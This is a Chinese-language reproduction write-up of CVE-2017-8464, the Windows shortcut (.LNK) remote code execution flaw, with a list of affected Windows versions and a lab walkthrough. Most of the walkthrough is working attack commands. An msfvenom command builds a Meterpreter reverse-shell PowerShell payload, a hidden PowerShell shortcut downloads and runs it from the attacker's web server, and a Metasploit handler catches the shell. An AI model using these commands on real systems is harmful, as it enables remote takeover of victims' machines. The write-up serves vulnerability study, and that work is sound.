前言
2017年6月13日,微軟官方發布編號為CVE-2017-8464的漏洞公告,官方介紹Windows系統在解析快捷方式時存在遠程執行任意代碼的高危漏洞,黑客可以通過U盤、網絡共享等途徑觸發漏洞,完全控制用戶系統,安全風險高危
漏洞描述
攻擊者可以向用戶呈現包含惡意的.LNK文件和相關聯的惡意二進制文件的可移動驅動器或遠程共享。 當用戶在Windows資源管理器或解析.LNK文件的任何其他應用程序中打開此驅動器(或遠程共享)時,惡意二進制程序將在目標系統上執行攻擊者選擇的代碼,成功利用此漏洞的攻擊者可以獲得與本地用戶相同的用戶權限。
注釋:.LNK是windows系統內應用程序快捷方式文件的文件類型后綴名。
漏洞利用條件和方式:
遠程利用
漏洞影響范圍:
- Microsoft Windows 10 Version 1607 for 32-bit Systems
- Microsoft Windows 10 Version 1607 for x64-based Systems
- Microsoft Windows 10 for 32-bit Systems
- Microsoft Windows 10 for x64-based Systems
- Microsoft Windows 10 version 1511 for 32-bit Systems
- Microsoft Windows 10 version 1511 for x64-based Systems
- Microsoft Windows 10 version 1703 for 32-bit Systems
- Microsoft Windows 10 version 1703 for x64-based Systems
- Microsoft Windows 7 for 32-bit Systems SP1
- Microsoft Windows 7 for x64-based Systems SP1
- Microsoft Windows 8.1 for 32-bit Systems
- Microsoft Windows 8.1 for x64-based Systems
- Microsoft Windows RT 8.1
服務器系統
- Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1
- Microsoft Windows Server 2008 R2 for x64-based Systems SP1
- Microsoft Windows Server 2008 for 32-bit Systems SP2
- Microsoft Windows Server 2008 for Itanium-based Systems SP2
- Microsoft Windows Server 2008 for x64-based Systems SP2
- Microsoft Windows Server 2012
- Microsoft Windows Server 2012 R2
- Microsoft Windows Server 2016
漏洞復現:
利用原理:
創建惡意快捷方式,包含惡意執行腳本,點擊惡意快捷方式,導致本機中病毒。
環境搭建:
攻擊機:kali ip:10.0.0.140
目標靶機:win2008r2x64 ip:192.168.99.104
1.kali下生成一個反彈的 ps1的shell:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.140 lport=5555 -f psh-reflection>/opt/search.ps1
2.切換到opt目錄,然后查看到已生成了search.ps1 的powershell 后門
cd /opt
ls
3.將生成的search.ps1拷貝到/var/www/html目錄下
mv search.ps1 /var/www/html ls
4.啟動apache服務
service apache2 start
5.訪問web下的search.ps1,可以直接訪問:
6.在靶機上創建一個powershell遠程快捷:
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.140/search.ps1');test.ps1"
7.名稱為:powershell.exe
8.kali下創建監聽反彈,並且可以看到成功反彈出靶機的shell:
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp show options set LHOST 10.0.0.140 set lport 5555 exploit